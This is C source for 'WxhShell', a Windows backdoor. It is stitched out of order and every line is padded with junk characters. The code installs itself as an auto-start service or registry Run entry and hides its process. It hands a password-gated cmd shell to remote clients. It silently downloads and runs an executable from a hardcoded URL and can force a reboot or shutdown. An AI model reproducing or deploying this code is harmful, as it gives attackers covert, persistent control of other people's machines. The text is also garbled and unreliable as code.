    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); )zz^RB\p  
    if(Boot(SHUTDOWN)) H6%QM}t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b9Jah  
    else { (|+Sbq(o  
    closesocket(wsh); ZDuP|" ^  
    ExitThread(0); @TF^6)4f  
    } Uyf<:8U\  
    break; L[o;@+32  
    } @zo}#.g  
  // 获取shell wZB:7E%  
  case 's': { 2(M^8Bl  
    CmdShell(wsh); S`g:z b_  
    closesocket(wsh); 1.*VliY  
    ExitThread(0); 3<.]+ukm  
    break; (?R;u>  
  } )@+lfIE(l  
  // 退出 q-kMqnQ  
  case 'x': { Syv[ [Ek  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Otq`45  
    CloseIt(wsh); z-};.!L^  
    break; /orpQUHA  
    } +c;/hM<IX.  
  // 离开 ^*JpdmVhu  
  case 'q': { n${,r  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); WeyH;P=  
    closesocket(wsh); ; ^+#  
    WSACleanup(); YuufgPE*H  
    exit(1); ZS&>%G  
    break; k |}&  
        } x?s5vxAKf  
  } Tk~RT<\Ab+  
  } >Y,3EI\  
,Vb;2  
  // 提示信息 lO=+V 6  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); + / s2;G  
} qYpuo D   
  } M]9oSi  
>d#oJ?goX  
  return; YDh6XD<Z  
} }xhat,9  
5'iJN$7  
// shell模块句柄 mBW E^  
int CmdShell(SOCKET sock) 7 0pt5O3]  
{ eyq\a'tyB  
STARTUPINFO si; YbCqZqk  
ZeroMemory(&si,sizeof(si)); ">pW:apl%  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; xW|^2k  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 9 {&APxm  
PROCESS_INFORMATION ProcessInfo; ttQX3rmF01  
char cmdline[]="cmd"; i>=d7'oR  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); rb8c^u#r  
  return 0; ]MI> "hn  
} &?+vHE}  
ifA=qn0=}  
// 自身启动模式 X3nt*G1dL  
int StartFromService(void) Bfh[C]yy  
{ b-Fv vA  
typedef struct tF:'Y ~3 p  
{ J6m`XC  
  DWORD ExitStatus; -anLp8G*  
  DWORD PebBaseAddress; BP f;!.  
  DWORD AffinityMask; Y)D~@|D,  
  DWORD BasePriority; `v2]Jk<  
  ULONG UniqueProcessId; 9iMQq40  
  ULONG InheritedFromUniqueProcessId; *qx<bY@F  
}   PROCESS_BASIC_INFORMATION; Z)iRc$;  
D@]gc&JN[  
PROCNTQSIP NtQueryInformationProcess; PT2b^PP  
"= H.$ +  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; >&uG1q0p.  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; [y^)&L$=  
Zmx[u_NG  
  HANDLE             hProcess; !: e0cV  
  PROCESS_BASIC_INFORMATION pbi; FN$ hEc!  
'vgO`  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); NF?FEUoxz  
  if(NULL == hInst ) return 0; iQ[0d.(A  
9C$#A+~C  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); >;E[XG^  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); qg7] YT&  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 79.J`}#  
5f54E|vD  
  if (!NtQueryInformationProcess) return 0; 8mjP2  
iU)-YFO  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); D+ki2UVt&  
  if(!hProcess) return 0; NW-l_]k  
>v4k_JX  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; GPqF>   
V<} ^n  
  CloseHandle(hProcess); 9&'I?D&8  
, N :'Z  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ,gU%%>-_~w  
if(hProcess==NULL) return 0; [V#"7O vl  
Q:iW k6  
HMODULE hMod; 4SG22$7W  
char procName[255]; C:tA|<b|  
unsigned long cbNeeded; ;bt@wgY  
Y`FGD25`  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ,v"/3Ff{,  
++KY+j.^  
  CloseHandle(hProcess); vS~y~uU%6  
TO\%F}m(  
if(strstr(procName,"services")) return 1; // 以服务启动 a S- rng  
0Sz&Oguv  
  return 0; // 注册表启动 +uPN+CgQ@  
} Z_%}pe39B  
DSwF }  
// 主模块 h]Zc&&+8{  
int StartWxhshell(LPSTR lpCmdLine) $s2-O!P?  
{ Q*TxjE7K  
  SOCKET wsl; D3^[OHi~a  
BOOL val=TRUE; h;vD"!gP  
  int port=0; ? Azpb}#  
  struct sockaddr_in door; (vIrXF5Dnj  
I3Sl>e(Z  
  if(wscfg.ws_autoins) Install(); nsyg>=j  
0/.#V*KM  
port=atoi(lpCmdLine); 4'BzW Z;_a  
`R@24 )  
if(port<=0) port=wscfg.ws_port; lY}mrb  
;F&wGe  
  WSADATA data; kO<`RHlX=  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; mRCgKW<  
~A0E4UJgq  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   UT [9ERS  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); nf< <]iHf  
  door.sin_family = AF_INET; TJtW?c7  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); @S~'m;  
  door.sin_port = htons(port); }iy`Ko+B"b  
$ql-"BB  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { _ED1".&#f  
closesocket(wsl); (.,E6H|zI  
return 1; }nE#0n  
} )Jx!VJ^Y  
@ ADY?  
  if(listen(wsl,2) == INVALID_SOCKET) { u)P$xkf  
closesocket(wsl); 3&*0n^g  
return 1; |Y<ca   
} ^F*)Jq  
  Wxhshell(wsl); F~d !Ub$>  
  WSACleanup(); Zn3iLAPBX  
QnxkD)f*0  
return 0; gb:Cc,F,%  
Fga9  
} @{_PO{=\C  
hvBuQuk)  
// 以NT服务方式启动 BO\l>\)Ir  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) :Puv8[1i  
{ "sFdrXJ  
DWORD   status = 0; Coq0Kzhsab  
  DWORD   specificError = 0xfffffff; $2BRi@  
~4}m'#!  
  serviceStatus.dwServiceType     = SERVICE_WIN32; [[D}vL8d  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; P's<M  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; )ymF: ]QC  
  serviceStatus.dwWin32ExitCode     = 0; We#*.nr{3Z  
  serviceStatus.dwServiceSpecificExitCode = 0; #py7emu  
  serviceStatus.dwCheckPoint       = 0; p!'wOThO`  
  serviceStatus.dwWaitHint       = 0; ?l,i(I  
jTw s0=F*  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); wri[#D {  
  if (hServiceStatusHandle==0) return; zJ9ZqC]  
z!Kadqns  
status = GetLastError(); hl~(&D1^  
  if (status!=NO_ERROR) ;$i9gP[|m  
{ f Jv 0 B*  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; qe(X5 ?#;  
    serviceStatus.dwCheckPoint       = 0; l O, 2  
    serviceStatus.dwWaitHint       = 0; q\#3G  
    serviceStatus.dwWin32ExitCode     = status; @7lZ{jV$  
    serviceStatus.dwServiceSpecificExitCode = specificError; C`mXEX5  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); >K\ 79<x|  
    return; (kp}mSw  
  } >\DXA)nc  
kq%`9,XE  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ciC4V^f  
  serviceStatus.dwCheckPoint       = 0; M/V >25`  
  serviceStatus.dwWaitHint       = 0; +G/~v`Bv  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 3"[ KXzn  
} s* 9tWSd  
<i`EP/x  
// 处理NT服务事件,比如:启动、停止 c<&+[{|  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 4kXx(FE  
{ 1Y9Ye?~jd  
switch(fdwControl) {bETHPCf  
{ M~662]Ekk  
case SERVICE_CONTROL_STOP: FeV=4tsy  
  serviceStatus.dwWin32ExitCode = 0; UjKHGsDi4  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; D'nV &m  
  serviceStatus.dwCheckPoint   = 0; &I(|aZx?J  
  serviceStatus.dwWaitHint     = 0; )%j)*Ymz;  
  { ==FzkRA)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); XVv7W5/q]  
  } s?Q`#qD  
  return; D"x~bs?V\  
case SERVICE_CONTROL_PAUSE: q }z,C{Wq<  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; zx'`'t4~  
  break; !;\-V}V  
case SERVICE_CONTROL_CONTINUE: mOXI"q]p  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; *znCe(dd  
  break; %Vt@7SwRJ  
case SERVICE_CONTROL_INTERROGATE: &tRnI$D  
  break; 3F.O0Vz  
}; Gj)Qw 6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); d'3'{C|kk  
} )i!)Tv  
SbI,9<  
// 标准应用程序主函数 S?3{G@!  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) k6Tpaf^  
{ S'@"a%EV  
kT$4X0}  
// 获取操作系统版本 H>7!+&M  
OsIsNt=GetOsVer(); SiBbz4  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 3:;%@4f  
e@,L~ \  
  // 从命令行安装 Fk9(FOFg  
  if(strpbrk(lpCmdLine,"iI")) Install(); Mvcl9  
F 1zc4l6  
  // 下载执行文件 9MYt4  
if(wscfg.ws_downexe) { 3p4bOT5  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) b5)>h  
  WinExec(wscfg.ws_filenam,SW_HIDE); i{e<kKh  
} (Iq\+@xE=  
33;|52$  
if(!OsIsNt) { ;q^YDZ'  
// 如果时win9x,隐藏进程并且设置为注册表启动 SQ1&n;M}f  
HideProc(); sIy$}_  
StartWxhshell(lpCmdLine); AMm O+E?  
} #&5\1Qu  
else mE7Jv)@  
  if(StartFromService()) aEM#V  
  // 以服务方式启动 &GZR-/  
  StartServiceCtrlDispatcher(DispatchTable); O~Fk0}-  
else :YI>AaYWDO  
  // 普通方式启动 9(PFd%  
  StartWxhshell(lpCmdLine); a #0{tZd  
h n ]6he  
return 0; w`v\/a_  
} AdYQhF##  
|$w-}$jq5  
HZ}'W<N  
(Z5#;rgem  
=========================================== UD(#u3z  
 Uh8ieb  
Q$zlxn 7\  
vSL{WT]m  
h/VYH(Tj  
]s S oIT  
" 2M1mdkP3  
ky%%H;  
#include <stdio.h> .R"L$V$RU.  
#include <string.h> X5yhS  
#include <windows.h> N|)V/no6  
#include <winsock2.h> puyL(ohem  
#include <winsvc.h> j w462h  
#include <urlmon.h> >k#aB.6  
{2Ibd i  
#pragma comment (lib, "Ws2_32.lib") +=8Po'E^!d  
#pragma comment (lib, "urlmon.lib") x}[` -  
6qDD_:F  
#define MAX_USER   100 // 最大客户端连接数 NNdS:(  
#define BUF_SOCK   200 // sock buffer #e=^-yE  
#define KEY_BUFF   255 // 输入 buffer Yt'o#"R)  
sg2C_]i,H  
#define REBOOT     0   // 重启 &ivIv[LV  
#define SHUTDOWN   1   // 关机 y$"L`*W  
N{yZk"fq:6  
#define DEF_PORT   5000 // 监听端口 qprOxP r  
8UcT? Zp  
#define REG_LEN     16   // 注册表键长度 |Wgab5D>V  
#define SVC_LEN     80   // NT服务名长度 Fo=6A[J  
]rm=F]W/n  
// 从dll定义API # 0 (\s@r.  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); }>:X|4]  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); TExlGAHo+O  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 2fk   
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); T{M:)}V  
F&~vD  
// wxhshell配置信息 A~>=l=  
struct WSCFG { t*#&y:RG  
  int ws_port;         // 监听端口 I$LO0avvH2  
  char ws_passstr[REG_LEN]; // 口令 $gTPW,~s[  
  int ws_autoins;       // 安装标记, 1=yes 0=no 5S? yj  
  char ws_regname[REG_LEN]; // 注册表键名 m t^1[  
  char ws_svcname[REG_LEN]; // 服务名 QMY4%uyY!  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 BSf"'0I&  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 u\wd<<I']  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 iE`aGoA  
int ws_downexe;       // 下载执行标记, 1=yes 0=no l:"*]m7o_  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" &O,$l3 P  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 PsnU5f)`  
:JIPF=]fc  
}; QAwj]_  
do,X{\  
// default Wxhshell configuration Y5CE#&  
struct WSCFG wscfg={DEF_PORT, '1 $({{R  
    "xuhuanlingzhe", ]l'ki8  
    1, A{%;Hd`0/  
    "Wxhshell", -`UlntEdZ:  
    "Wxhshell", s`YuH <8  
            "WxhShell Service", F! e`i-xt  
    "Wrsky Windows CmdShell Service", TbVL71c  
    "Please Input Your Password: ", ^'4uTbxP_!  
  1, m~eWQ_a]C@  
  "http://www.wrsky.com/wxhshell.exe", h6N}sLM{0  
  "Wxhshell.exe" "-?Y UY`  
    }; . 6dT5x8u  
lz 6 Aj  
// 消息定义模块 r|@?v,  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; m5X=P5U  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Se8y-AL6x>  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; `.g8JC\_m  
char *msg_ws_ext="\n\rExit."; K;y\ &'E  
char *msg_ws_end="\n\rQuit."; ?g4|EV-56  
char *msg_ws_boot="\n\rReboot..."; >JOvg*a?"  
char *msg_ws_poff="\n\rShutdown..."; uyj*v]AE'  
char *msg_ws_down="\n\rSave to "; }0RFo96) v  
u'1=W5$rK  
char *msg_ws_err="\n\rErr!"; a6E"  
char *msg_ws_ok="\n\rOK!"; qS|VUy4  
gj^]}6-P  
char ExeFile[MAX_PATH]; I "2FTGA  
int nUser = 0; $"{3i8$3mT  
HANDLE handles[MAX_USER]; fZ fiiE~7J  
int OsIsNt; 5qEdN  
4/WCs$  
SERVICE_STATUS       serviceStatus; x?'%  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ;hJ*u  
8-ssiiJ}gh  
// 函数声明 *XO KH+_u  
int Install(void); MlE~ gCD  
int Uninstall(void); ie5ijkxZ(  
int DownloadFile(char *sURL, SOCKET wsh); EIQy?ig86  
int Boot(int flag); )d u{ZWr  
void HideProc(void); q:EQ,  
int GetOsVer(void); 2kq@*}ys  
int Wxhshell(SOCKET wsl); 8]\h^k4f  
void TalkWithClient(void *cs); {fv8S;|u  
int CmdShell(SOCKET sock); !\O,dq  
int StartFromService(void); _ n4ma  
int StartWxhshell(LPSTR lpCmdLine); F@bCm+z-  
K<JP9t6Qd  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); |qDfFGYf  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); QvN <uxm  
KB*=a   
// 数据结构和表定义 9[E$>o"%  
SERVICE_TABLE_ENTRY DispatchTable[] = c[lob{,  
{ Ki6.'#%7  
{wscfg.ws_svcname, NTServiceMain}, NV4W2thYo  
{NULL, NULL} >%dAqYi $  
}; i bs "Iv34  
$ow`)?sh  
// 自我安装 F)kLlsp  
int Install(void) <9tG_  
{ vXQmEIm  
  char svExeFile[MAX_PATH]; #@s~V<rW  
  HKEY key; 0]W]#X4A  
  strcpy(svExeFile,ExeFile); g 'a?  
D@W3;T^  
// 如果是win9x系统,修改注册表设为自启动 nvVsO>2{ o  
if(!OsIsNt) { x>" JWD  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @~G`~8   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); XPo'iI-  
  RegCloseKey(key); igj@{FN  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *"{Z?< 3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \1C!,C  
  RegCloseKey(key); bk9~63tN+>  
  return 0; ]mo<qWRc>p  
    }  Rha3  
  } !&jgcw/E  
} jI<WzvhYG  
else { |0R%!v(,  
.x?zky^  
// 如果是NT以上系统,安装为系统服务 qgsE7 ]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); "d>g)rvOc  
if (schSCManager!=0) ]m#MwN$  
{ A""*vqA  
  SC_HANDLE schService = CreateService <L ( =  
  ( y"L`bl A9}  
  schSCManager, O[p^lr(B7  
  wscfg.ws_svcname, 0+y~RTAVB  
  wscfg.ws_svcdisp, D)7$M]d%  
  SERVICE_ALL_ACCESS, 0QH3,Ps1C  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , MXJ9,U{<C'  
  SERVICE_AUTO_START, P^m 6di  
  SERVICE_ERROR_NORMAL, )r,R!8  
  svExeFile, l@/kPEh  
  NULL, 3=|2Gs?ut  
  NULL, @mRrA#E#{  
  NULL, aa%&&  
  NULL, n9fA!Wic  
  NULL JP,(4h *  
  ); iA{jKk=  
  if (schService!=0) r5da/*G/O  
  { z/&a\`DsU  
  CloseServiceHandle(schService); N z3%}6F:  
  CloseServiceHandle(schSCManager); *[~o~e/YCb  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); qq7X ",s  
  strcat(svExeFile,wscfg.ws_svcname); \ jXN*A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { |-Esc|J(  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); LI;EfyL  
  RegCloseKey(key); ~ 9~\f  
  return 0; xP6?es`  
    } JrWBcp:Y  
  } jo3}]KC !  
  CloseServiceHandle(schSCManager); B"Kce"!  
} P ^<0d'(  
} zM r!WoW  
5h=TV  
return 1; ^8l3j4  
} 3?Eoj95w!  
$gl<{{  
// 自我卸载 $#ju?B~  
int Uninstall(void) SP?U@w%}  
{ N|O]z  
  HKEY key; +\8krA  
i@R$g~~-D  
if(!OsIsNt) { /< 7C[^h{-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { PWN'.HQ  
  RegDeleteValue(key,wscfg.ws_regname); ;, v L  
  RegCloseKey(key); P9TBQW2G{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +=~%S)9F  
  RegDeleteValue(key,wscfg.ws_regname); O:^LQ  
  RegCloseKey(key); zPh\3B  
  return 0; 5H :~6z  
  } =_m9so  
} `=}UFu  
} :{ WrS  
else { 'bI~61{A  
} B9~X  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); P&%eIgAOL  
if (schSCManager!=0) "(\) &G  
{ jy(+ 0F  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); mh#FY Sp  
  if (schService!=0) Cq*}b4^;  
  { 9kX=99kf[  
  if(DeleteService(schService)!=0) { =e!l=d|/  
  CloseServiceHandle(schService); )dIfr  
  CloseServiceHandle(schSCManager); g?[& 0r1  
  return 0; Ph+X{|  
  } z(` }:t  
  CloseServiceHandle(schService); bA<AG*  
  } -?YTQ@ W  
  CloseServiceHandle(schSCManager); 5%Oyvt]}2  
} b~r{J5x@  
} W\qLZuQ  
G]mWaA  
return 1; >'}=.3\  
} h#m:Y~GoF  
$# !UGY  
// 从指定url下载文件 .Y(lB=pV  
int DownloadFile(char *sURL, SOCKET wsh) Z2rzb{oS}  
{ f7Df %&d  
  HRESULT hr; 4d e]?#=  
char seps[]= "/"; E<<p_hX8R  
char *token; Yb%-tv:  
char *file; .-KtB(t  
char myURL[MAX_PATH]; ]KXMGH_  
char myFILE[MAX_PATH]; 8L -4}!~C  
=%3b@}%HqS  
strcpy(myURL,sURL); `e $n$Bh  
  token=strtok(myURL,seps); ~3bZ+*H>  
  while(token!=NULL) h^A3 0f_x  
  { pFJQ7Jlx  
    file=token; ! FR%QGn1  
  token=strtok(NULL,seps); 6mu<&m@  
  } )W1(tEq59  
sCF40AoY&  
GetCurrentDirectory(MAX_PATH,myFILE); Zgg'9E  
strcat(myFILE, "\\");  gmRT1T  
strcat(myFILE, file); Jh43)#G-  
  send(wsh,myFILE,strlen(myFILE),0); 2sqm7th  
send(wsh,"...",3,0); bbNU\r5%  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ]dHB}  
  if(hr==S_OK) ^.D}k  
return 0; a;"Uz|rz  
else 1^L`)Up  
return 1; \6lh `U  
xEVLE,*?>  
} ^KkRF":  
8VP"ydg-U  
// 系统电源模块 7}?k^x,1  
int Boot(int flag) 2f|6z- Z  
{ 4O`6h)!NQ  
  HANDLE hToken; l801` ~*gO  
  TOKEN_PRIVILEGES tkp; WGh. ;-  
wy{\/?~c  
  if(OsIsNt) { )d +hZ'  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); U!c]_q  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); a#+>w5  
    tkp.PrivilegeCount = 1; B f5&}2u  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; tx0Go'{  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); WHUT/:?f  
if(flag==REBOOT) { o3n3URu\  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) mG831v?  
  return 0; $s-9|Lbs`  
} S~0JoCeo  
else { k]?z~p  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) hojHbmm4  
  return 0; |e*GzD  
} ?wd|G4.Vo  
  } 2yN%~C?$  
  else { Ys-Keyg  
if(flag==REBOOT) { 1$$37?FE  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) |JUe>E*  
  return 0; ~{L.f94N  
} r^$\t0h(U8  
else { CQdBf3q  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) GS\%mPZ  
  return 0; j2|XD Of  
} j$@?62)6  
} iQt!PMF.  
b5A Gk  
return 1; F:%^&%\  
} M h`CP  
k$C"xg2  
// win9x进程隐藏模块 -$U@By<SJ  
void HideProc(void) 8q?;2w\l  
{ mZwi7s&u  
W*k`  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); v&xKi>A il  
  if ( hKernel != NULL ) NB E pM  
  { $ye^uu;Z  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); c~P)4(udT  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); W_^>MLq  
    FreeLibrary(hKernel); ajW[eyX  
  } nV'3sUvR#  
[#p&D~Du&  
return; Bi]D{m9  
} ~}BJ0P(VMc  
_=ugxL #eB  
// 获取操作系统版本 UL+E,=  
int GetOsVer(void) Bwjg#1E  
{ #c-b}.R  
  OSVERSIONINFO winfo; #wF1  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); +p3 Z#KoC  
  GetVersionEx(&winfo); /Zc#j^_  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) lLH$`Wnv  
  return 1; zK=dzoy  
  else ITONpg[f  
  return 0; !g8*r"[UJ  
} \M9 h&I\7  
[*Q-nZ/L  
// 客户端句柄模块 kl" ]Nw'C  
int Wxhshell(SOCKET wsl) L?!$EPr  
{ *ksb?|<Ot  
  SOCKET wsh; &.zj5*J  
  struct sockaddr_in client; Q:mZ" i5  
  DWORD myID; =yo{[&Jz  
VBM/x|'  
  while(nUser<MAX_USER) J{d(1gSZ  
{ U R}kB&t  
  int nSize=sizeof(client); K"L_`.&Q  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); U IfH*6X  
  if(wsh==INVALID_SOCKET) return 1; W6vf=I@f  
AM'gnP>  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); *8PN!^  
if(handles[nUser]==0) q/$ GE,"  
  closesocket(wsh); \^LWCp,C"  
else r@iASITX  
  nUser++; > @+#  
  } X(]Zr  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); [B,'=,Hbs  
%swR:Bv  
  return 0; <s_=-" il  
} ?4 qkDtm  
H'EY)s Hi  
// 关闭 socket ZRnL_ z~  
void CloseIt(SOCKET wsh) pYt/378w  
{ QQFf5^  
closesocket(wsh); vf<UBa;Xm  
nUser--; M ?*Tf&  
ExitThread(0); 34ha26\np  
} vI Vr@1S  
9x? B5Ap[  
// 客户端请求句柄 O+_N!/  
void TalkWithClient(void *cs) ZHCr2^w6  
{ Q[uAIyv0  
77*qkKr  
  SOCKET wsh=(SOCKET)cs; If;R?j0;Q  
  char pwd[SVC_LEN]; j$vK<SF  
  char cmd[KEY_BUFF]; $o.Kn9\  
char chr[1]; /THnfy \  
int i,j; rgqQxe=  
Iq^if>  
  while (nUser < MAX_USER) { Hd%! Nt\u  
y])).p P  
if(wscfg.ws_passstr) { NG" yPn  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Bd5+/G=m  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Fnb2.R'+  
  //ZeroMemory(pwd,KEY_BUFF); $"\O;dp7l  
      i=0; 1 {Jb"  
  while(i<SVC_LEN) {  F~6#LT  
o>F*Itr{  
  // 设置超时 OQScW2a&  
  fd_set FdRead; Q`A6(y/s?  
  struct timeval TimeOut; @*(4dt:V  
  FD_ZERO(&FdRead); OP%?dh]  
  FD_SET(wsh,&FdRead); _y vLu j  
  TimeOut.tv_sec=8; OR4!YVVQ  
  TimeOut.tv_usec=0; j)by}}  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); J R$r!hX  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); %ucjMa>t  
M4KWN'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (?3[3 w~  
  pwd=chr[0]; SdJ/ 4&{ !  
  if(chr[0]==0xd || chr[0]==0xa) { )DT|(^  
  pwd=0; 'e@=^FC  
  break; _dU8'H  
  } 26L~X[F  
  i++; MR$>!Nlp  
    } O> c$sL0g  
zE|Wn3_sd  
  // 如果是非法用户,关闭 socket c2*`2qK#  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); j1q[c,  
} /YH`4e5g  
brSi<  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 9JshMo  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); O'$K],=BS  
aXY -><  
while(1) { 88lxHoPV  
}gGkV]  
  ZeroMemory(cmd,KEY_BUFF); A\AT0th  
(UYF%MA}"  
      // 自动支持客户端 telnet标准   pBp #a  
  j=0; ?WpenUWk  
  while(j<KEY_BUFF) { )R?;M  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]]BOk  
  cmd[j]=chr[0]; {2 %aCCV  
  if(chr[0]==0xa || chr[0]==0xd) { 9o0!m Cq  
  cmd[j]=0; j U[ O  
  break; 2(M6(xH>  
  } v,OpTu:1  
  j++; --fFpM3EvS  
    } .Cz %:%9  
&aG*k*  
  // 下载文件 wO.iKX;  
  if(strstr(cmd,"http://")) { +f NvNbtA  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ?La Ued'  
  if(DownloadFile(cmd,wsh)) @Uo6>-W F  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); kKiA  
  else L]d-33.c!H  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); EQ<RDhC@b  
  } H'=(`  
  else { LF*&(NC  
0;.<~;@h  
